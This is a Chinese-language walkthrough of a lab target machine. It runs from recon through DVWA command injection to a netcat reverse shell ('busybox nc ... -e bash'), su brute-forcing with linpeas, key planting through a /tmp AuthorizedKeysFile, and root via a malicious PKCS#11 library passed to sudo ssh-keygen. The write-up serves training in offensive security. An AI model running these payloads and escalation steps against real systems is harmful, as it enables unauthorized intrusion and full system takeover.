

存活主机发现

arp-scan 扫描局域网内存活主机：

```
└──(npc㉿kali)-[~/mazesec/secure]
└─$ sudo arp-scan -T eth2 192.168.6.0/24

192.168.6.203 08:00:27:16:0b:23      PCS Systemtechnik GmbH
```

目标主机：192.168.6.203

TCP端口扫描

使用 nmap 进行 TCP 端口扫描：

```
└──(npc㉿kali)-[~/mazesec/secure]
└─$ nmap -p- -ST 192.168.6.203

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
```

目标主机开放了 22 和 80 端口。

80 端口服务探测

访问 80 端口的 HTTP 服务，一个 SSH 介绍页面



dirsearch 扫描目录，部署了一个 DVWA 漏洞靶场，以及file.php 和 phpinfo.php 文件：

```
—(npc㉿kali)-[~/mazesec/secure]
└$ dirsearch -u http://192.168.6.203
```

Target: http://192.168.6.203/

```
[14:44:31] Starting:
[14:44:45] 302 - 0B - /dvwa/ -> login.php
[14:44:46] 200 - 7B - /file.php
[14:44:53] 200 - 23KB - /phpinfo.php
```

Task Completed

gobuster 再扫一遍，尽可能多的收集信息：

```
—(npc㉿kali)-[~/mazesec/secure]
└$ gobuster dir -u http://192.168.6.203/ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x
  php,html,txt,log,bak,zip

/index.html          (Status: 200) [Size: 11007]
/file.php            (Status: 200) [Size: 7]
/cmd.php             (Status: 200) [Size: 18]
/phpinfo.php         (Status: 200) [Size: 23479]
```

通过扫描目录，发现了 cmd.php、file.php、phpinfo.php 以及 DVWA 靶场，在 cmd.php 和 file.php 测试参数没有发现可以利用的可能，现在直接去 DVWA 靶机登录页面，默认用户名密码 admin/password 登录进去。

命令执行 Getshell

难度设置为 low，方便直接利用

The screenshot shows the DVWA Security interface. On the left is a sidebar menu with various exploit categories. The main area displays the security level settings. A red arrow points to the 'Security Level' section, which contains a dropdown menu set to 'Low'. Below the dropdown is a note: 'Security level set to low'. Another red arrow points to the bottom right corner of the page, where there is some small text.

Home
Instructions
Setup / Reset DB
Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)
CSP Bypass
JavaScript
Authorisation Bypass
Open HTTP Redirect
Cryptography
API
DVWA Security
PHP Info
About

DVWA Security

Security Level

Security level is currently: **low**.

You can set the security level to low, medium, high or impossible. The security level changes the vulnerability level of DVWA:

1. Low - This security level is completely vulnerable and **has no security measures at all**. It's use is to be as an example of how web application vulnerabilities manifest through bad coding practices and to serve as a platform to teach or learn basic exploitation techniques.
2. Medium - This setting is mainly to give an example to the user of **bad security practices**, where the developer has tried but failed to secure an application. It also acts as a challenge to users to refine their exploitation techniques.
3. High - This option is an extension to the medium difficulty, with a mixture of **harder or alternative bad practices** to attempt to secure the code. The vulnerability may not allow the same extent of the exploitation, similar in various Capture The Flags (CTFs) competitions.
4. Impossible - This level should be **secure against all vulnerabilities**. It is used to compare the vulnerable source code to the secure source code. Prior to DVWA v1.9, this level was known as 'high'.

Low Submit

Security level set to low

Vulnerability: Command Injection

- [Home](#)
- [Instructions](#)
- [Setup / Reset DB](#)

- [Brute Force](#)
- [Command Injection](#)
- [CSRF](#)
- [File Inclusion](#)
- [File Upload](#)
- [Insecure CAPTCHA](#)
- [SQL Injection](#)
- [SQL Injection \(Blind\)](#)
- [Weak Session IDs](#)
- [XSS \(DOM\)](#)
- [XSS \(Reflected\)](#)
- [XSS \(Stored\)](#)
- [CSP Bypass](#)
- [JavaScript](#)
- [Authorisation Bypass](#)
- [Open HTTP Redirect](#)
- [Cryptography](#)
- [API](#)

- [DVWA Security](#)

Ping a device

Enter an IP address:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

More Information

- <https://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution>
- <http://www.ss64.com/bash/>
- <http://www.ss64.com/nt/>
- https://owasp.org/www-community/attacks/Command_Injection

进入命令执行模块，反弹个shell 过来

The screenshot shows the DVWA Command Injection module interface. The URL in the browser is `http://192.168.6.203/dvwa/vulnerabilities/exec/#`. The "Method" dropdown is set to "POST" and "Content-Type" is set to "application/x-www-form-urlencoded". The "Body" field contains the exploit command: `Submit=Submit&ip=;busybox nc 192.168.6.101 4444 -e bash`. The "HackBar" tab is selected. The response shows the output of the shell: `uid=33(www-data) gid=33(www-data) groups=33(www-data)`.

稳定优化 shell

```

[npc@kali] -[~/mazesec/secure]
$ nc -lvpn 4444
listening on [any] 4444 ...
connect to [192.168.6.101] from (UNKNOWN) [192.168.6.203] 59286
/usr/bin/script -qc /bin/bash /dev/null
www-data@Secure:/var/www/html/dvwa/vulnerabilities/exec$ ^Z
zsh: suspended nc -lvpn 4444

[npc@kali] -[~/mazesec/secure]
$ stty raw -echo; fg
[1] + continued nc -lvpn 4444

www-data@Secure:/var/www/html/dvwa/vulnerabilities/exec$ export TERM=xterm
www-data@Secure:/var/www/html/dvwa/vulnerabilities/exec$
www-data@Secure:/var/www/html/dvwa/vulnerabilities/exec$
www-data@Secure:/var/www/html/dvwa/vulnerabilities/exec$ echo $SHELL
/usr/sbin/nologin
www-data@Secure:/var/www/html/dvwa/vulnerabilities/exec$
www-data@Secure:/var/www/html/dvwa/vulnerabilities/exec$
www-data@Secure:/var/www/html/dvwa/vulnerabilities/exec$ export SHELL=/bin/bash
www-data@Secure:/var/www/html/dvwa/vulnerabilities/exec$
```

```

/usr/bin/script -qc /bin/bash /dev/null
按下 ctrl z
stty raw -echo; fg
export TERM=xterm
export SHELL=/bin/bash
```

横向探测

现在拿到了 www-data 权限的 shell，下载 kali 上准备的 linpeas.sh 脚本到 /tmp 目录，扫描是否有提权点

```
wget 192.168.6.101/linpeas.sh -O /tmp/linpeas.sh
```

linpeas 扫描可能会卡在 cloud 模块，不清楚什么原因，使用 -o 参数跳过 cloud 模块就可以了，另外可以使用 -a 参数进行全面扫描，会尝试使用 su 命令登录其他用户，这个过程会使用空密码、用户名、top 2000 密码进行尝试。

```

www-data@Secure:/tmp$ bash linpeas.sh -h
Enumerate and search Privilege Escalation vectors.
This tool enum and search possible misconfigurations (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwd), passwords...) inside the host and highlight possible misconfigurations with colors.

Checks:
- a Perform all checks: 1 min of processes, su brute, and extra checks.
- o Only execute selected checks (system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_perms_files,interesting_files,api_keys_regex). Select a comma separated list.
- s Stealth & faster (don't check some time consuming checks)
- e Perform extra enumeration
- r Enable Regexes (this can take from some mins to hours)
- P Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
- n Do not check hostname & IP in known malicious lists and leaks
- D Debug mode

Network recon:
- t Automatic network scan - This option writes to files
- d <IP/NETMASK> Discover hosts using fping or ping. Ex: -d 192.168.0.1/24
- p <PORT(s)> -d <IP/NETMASK> Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports. Ex: -d 192.168.0.1/24 -p 53,139
- i <IP> [-p <PORT(s)>] Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead. Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
    Notice that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed
Port forwarding (reverse connection):
- F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT Execute linpeas to forward a port from a your host (LOCAL_IP:LOCAL_PORT) to a remote IP (REMOTE_IP)
```

```

bash linpeas.sh -o
system_information,container,procs_crons_timers_srvcs_sockets,network_information,
,users_information,software_information,interesting_perms_files,interesting_files
,api_keys_regex -a
```

拿到了 lzh 用户的密码 hzl

```
| Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwd  
Bruteforcing user root...  
Bruteforcing user lzh...  
You can login as lzh using password: hzl  
Bruteforcing user qiaojojo...  
Bruteforcing user mj...  
Bruteforcing user todd...  
Bruteforcing user one3...  
Bruteforcing user segfault...  
| Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!
```

SSH 配置变动发现

查找近 7 天变化的文件，排除一些系统目录，减少噪音

说明：前一组括号是排除大目录，后一组括号是「最近 7 天内 mtime 或 ctime 变化的文件」，再 -print。

```
find / \  
  \(\ -path /run -o -path /sys -o -path /proc -o -path /var/lib -o -path /dev -o -  
  \path /usr -o -path /var/log -o -path /var/cache -o -path /boot/grub \) -prune -o  
  \  
  \(\ -mtime -7 -o -ctime -7 \) -print 2>/dev/null
```

检查到 ssh 配置文件存在变动，查看一下

```
/etc/gshadow-  
/etc/init.d  
/etc/init.d/mariadb  
/etc/init.d/rsync  
/etc/apparmor.d  
/etc/apparmor.d/usr.sbin.mariadb  
/etc/sudoers  
/etc/subgid-  
/etc/ssh  
/etc/ssh/sshd_config ←  
/etc/rc1.d  
/etc/rc1.d/K01mariadb  
/etc/rc5.d  
/etc/rc5.d/S01rsync  
/etc/rc5.d/S01mariadb
```

```
cat /etc/ssh/sshd_config
```

关键部分如下：

```
PermitRootLogin no  
AuthorizedKeysFile      /tmp/authorized_keys2  
StrictModes no
```

不允许 root 登录，把公钥配置在了 /tmp/authorized_keys2 文件中，并且关闭了权限检查。

```
#PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
AuthorizedKeysFile      /tmp/authorized_keys2
StrictModes no           ←
#AuthorizedPrincipalsFile none
#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody
```

`AuthorizedKeysFile /tmp/authorized_keys2` 是一个全局配置，对所有用户生效；

因为 PermitRootLogin no，即使有公钥，也不能通过 SSH 登录 root；

横向登录 one3

在 www-data 用户的 shell 里，在 /tmp 目录下创建 authorized_keys2 文件，写入自己的公钥

```
echo 'ssh-ed25519  
AAAAC3NzaC1lZDI1NTE5AAAAIGqeBIA2vgVTkcqaBMVe7c7PL6S/FP+32i1rc8iuivYC ssh-ed25519-  
2025120116260' > /tmp/authorized_keys2
```

```
www-data@Secure:/tmp$ ls -alh
total 948K
drwxrwxrwt  2 root      root      4.0K Dec  1 03:29 .
drwxr-xr-x 19 root      root      4.0K Nov 29 07:25 ..
-rw-r--r--  1 www-data www-data 107 Dec  1 03:29 authorized_keys2
-rw-r--r--  1 www-data www-data 934K Jul  1 10:58 linpeas.sh
www-data@Secure:/tmp$ cat authorized_keys2
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGqeBIA2vgVTkcqaBMVe7c7PL6S/FP+32ilrc8iUiVYc ssh-ed25519-2025120116260
www-data@Secure:/tmp$
```

写入以后，kali 用户无法 SSH 连上来，排查发现当前的 /tmp 是 apache 服务的 PrivateTmp 目录，并非系统的 /tmp 目录

```
systemctl show apache2 | grep PrivateTmp  
systemctl show ssh | grep PrivateTmp
```

```
www-data@Secure:/tmp$ systemctl show apache2 | grep PrivateTmp  
PrivateTmp=yes  
www-data@Secure:/tmp$ systemctl show ssh | grep PrivateTmp  
PrivateTmp=no  
www-data@Secure:/tmp$
```

先尝试上线刚刚扫描出来的 lzh 用户，可以看 /tmp 目录下确实没有 www-data 用户创建的文件如 linepeas.sh 和 authorized_keys2

```
lzh@Secure:/tmp$ ls -lah /tmp
total 40K
drwxrwxrwt 10 root root 4.0K Dec  1 03:13 .
drwxr-xr-x 19 root root 4.0K Nov 29 07:25 ..
drwxrwxrwt  2 root root 4.0K Dec  1 00:45 .font-unix
drwxrwxrwt  2 root root 4.0K Dec  1 00:45 .ICE-unix
drwx-----  3 root root 4.0K Dec  1 00:45 systemd-private-2dd48861c2a64621ba26bc3c5272b569-apache2.service-GY0CG1
drwx-----  3 root root 4.0K Dec  1 00:45 systemd-private-2dd48861c2a64621ba26bc3c5272b569-systemd-logind.service-JW8xjj
drwx-----  3 root root 4.0K Dec  1 00:45 systemd-private-2dd48861c2a64621ba26bc3c5272b569-systemd-timesyncd.service-pvzdbf
drwxrwxrwt  2 root root 4.0K Dec  1 00:45 .Test-unix
drwxrwxrwt  2 root root 4.0K Dec  1 00:45 .X11-unix
drwxrwxrwt  2 root root 4.0K Dec  1 00:45 .XIM-unix
lzh@Secure:/tmp$
```

使用 lzh 用户写入公钥，普通用户操作 /tmp 目录是没有问题的

```
echo 'ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIGqeBIA2vgVTkcqaBMVe7c7PL6S/FP+32ilrc8iUiVYc ssh-ed25519-
2025120116260' > /tmp/authorized_keys2
```

```
lzh@Secure:/tmp$ ls -lah /tmp
total 40K
drwxrwxrwt 10 root root 4.0K Dec 1 03:13 .
drwxr-xr-x 19 root root 4.0K Nov 29 07:25 ..
drwxrwxrwt 2 root root 4.0K Dec 1 00:45 .font-unix
drwxrwxrwt 2 root root 4.0K Dec 1 00:45 .ICE-unix
drwx----- 3 root root 4.0K Dec 1 00:45 systemd-private-2dd48861c2a64621ba26bc3c5272b569-apache2.service-GY0CG1
drwx----- 3 root root 4.0K Dec 1 00:45 systemd-private-2dd48861c2a64621ba26bc3c5272b569-systemd-logind.service-JW8xjj
drwx----- 3 root root 4.0K Dec 1 00:45 systemd-private-2dd48861c2a64621ba26bc3c5272b569-systemd-timesyncd.service-pvzdBf
drwxrwxrwt 2 root root 4.0K Dec 1 00:45 .Test-unix
drwxrwxrwt 2 root root 4.0K Dec 1 00:45 .X11-unix
drwxrwxrwt 2 root root 4.0K Dec 1 00:45 .XIM-unix
lzh@Secure:/tmp$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGqeBIA2vgVTkcqaBMVe7c7PL6S/FP+32ilrc8iUiVYc ssh-ed25519-2025120116260' > /tmp/authorized_keys2
lzh@Secure:/tmp$ ls -lah /tmp
total 44K
drwxrwxrwt 10 root root 4.0K Dec 1 03:38 .
drwxr-xr-x 19 root root 4.0K Nov 29 07:25 ..
-rw-r--r-- 1 lzh lzh 107 Dec 1 03:38 authorized_keys2
drwxrwxrwt 2 root root 4.0K Dec 1 00:45 .font-unix
drwxrwxrwt 2 root root 4.0K Dec 1 00:45 .ICE-unix
drwx----- 3 root root 4.0K Dec 1 00:45 systemd-private-2dd48861c2a64621ba26bc3c5272b569-apache2.service-GY0CG1
drwx----- 3 root root 4.0K Dec 1 00:45 systemd-private-2dd48861c2a64621ba26bc3c5272b569-systemd-logind.service-JW8xjj
drwx----- 3 root root 4.0K Dec 1 00:45 systemd-private-2dd48861c2a64621ba26bc3c5272b569-systemd-timesyncd.service-pvzdBf
drwxrwxrwt 2 root root 4.0K Dec 1 00:45 .Test-unix
drwxrwxrwt 2 root root 4.0K Dec 1 00:45 .X11-unix
drwxrwxrwt 2 root root 4.0K Dec 1 00:45 .XIM-unix
lzh@Secure:/tmp$
```

SSH 登录 one3 用户

Kali 上线 one3 用户，sudo -l 显示 one3 用户可以以 root 身份、无需密码执行 /usr/bin/ssh-keygen

```
[~] (npc㉿kali)-[~/test]
$ ssh one3@192.168.6.203 -i pentest
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Linux Secure 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Dec 1 01:37:16 2025 from 192.168.6.101
one3@Secure:~$ sudo -l
Matching Defaults entries for one3 on Secure:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User one3 may run the following commands on Secure:
    (ALL) NOPASSWD: /usr/bin/ssh-keygen
one3@Secure:~$
```

Gtfobins 上查到 ssh-keygen 可以用来提权 <https://gtfobins.github.io/gtfobins/ssh-keygen/>

```
sudo ssh-keygen -D /tmp/lib.so
```

编写恶意 PKCS#11 库

ssh-keygen 使用 -D 参数指定一个 PKCS#11 动态库，我们编写一个恶意的 PKCS#11 库，在库加载时执行提权操作，复制一个 SUID bash 到 /tmp 目录下。

准备 exp.c 文件

```
// exp.c
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
```

```

// PKCS#11 标准函数声明
typedef struct CK_FUNCTION_LIST CK_FUNCTION_LIST;

// 恶意代码 - 在库加载时执行
__attribute__((constructor)) void pwn() {
    if (geteuid() == 0) { // 如果以root权限运行
        system("cp /bin/bash /tmp/bash");
        system("chmod u+s /tmp/bash");
    }
}

// 伪装的PKCS#11函数 - 必须存在但可以返回错误
void C_GetFunctionList(CK_FUNCTION_LIST** ppFunctionList) {
    // 什么都不做或返回错误, 但函数必须存在
    *ppFunctionList = NULL;
}

```

编译生成动态库 lib.so

```
gcc -shared -fPIC -o /tmp/lib.so /tmp/exp.c
```

```

one3@Secure:/tmp$ ls
authorized_keys2
exp.c
systemd-private-2dd48861c2a64621ba26b
systemd-private-2dd48861c2a64621ba26b
one3@Secure:/tmp$ cat exp.c
// exp.c
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

// PKCS#11 标准函数声明
typedef struct CK_FUNCTION_LIST CK_FUNCTION_LIST;

// 恶意代码 - 在库加载时执行
__attribute__((constructor)) void pwn() {
    if (geteuid() == 0) { // 如果以root权限运行
        system("cp /bin/bash /tmp/bash");
        system("chmod u+s /tmp/bash");
    }
}

// 伪装的PKCS#11函数 - 必须存在但可以返回错误
void C_GetFunctionList(CK_FUNCTION_LIST** ppFunctionList) {
    // 什么都不做或返回错误, 但函数必须存在
    *ppFunctionList = NULL;
}
one3@Secure:/tmp$ gcc -shared -fPIC -o /tmp/lib.so /tmp/exp.c
one3@Secure:/tmp$
```

运行时，动态库会被 ssh-keygen 加载，执行 pwn 函数，复制 SUID bash 到 /tmp 目录下。

提权到 root

sudo 执行 ssh-keygen，指定编译好的恶意库

```
sudo ssh-keygen -D /tmp/lib.so
```

```
one3@Secure:/tmp$ sudo ssh-keygen -D /tmp/lib.so
C_GetFunctionList for provider /tmp/lib.so failed: 140731607862696
cannot read public key from pkcs11
one3@Secure:/tmp$ ls -alh /tmp
total 1.2M
drwxrwxrwt 10 root root 4.0K Dec  1 03:47 .
drwxr-xr-x 19 root root 4.0K Nov 29 07:25 ..
-rw-r--r--  1 lzh lzh  107 Dec  1 03:38 authorized_keys2
-rwsr-xr-x  1 root root 1.2M Dec  1 03:47 bash
-rw-r--r--  1 one3 one3 593 Dec  1 03:46 exp.c
drwxrwxrwt  2 root root 4.0K Dec  1 00:45 .font-unix
drwxrwxrwt  2 root root 4.0K Dec  1 00:45 .ICE-unix
-rwrxr-xr-x  1 one3 one3 16K Dec  1 03:46 lib.so
drwx-----  3 root root 4.0K Dec  1 00:45 systemd-private-2dd48861c2a64621ba26bc3c5272b569-apache2.service-GY0CGi
drwx-----  3 root root 4.0K Dec  1 00:45 systemd-private-2dd48861c2a64621ba26bc3c5272b569-systemd-logind.service-JW8xjj
drwx-----  3 root root 4.0K Dec  1 00:45 systemd-private-2dd48861c2a64621ba26bc3c5272b569-systemd-timesyncd.service-pvzb8f
drwxrwxrwt  2 root root 4.0K Dec  1 00:45 .Test-unix
drwxrwxrwt  2 root root 4.0K Dec  1 00:45 .X11-unix
drwxrwxrwt  2 root root 4.0K Dec  1 00:45 .XIM-unix
one3@Secure:/tmp$ ./bash -p
bash-5.0# id
uid=1004(one3) gid=1004(one3) euid=0(root) groups=1004(one3)
bash-5.0#
```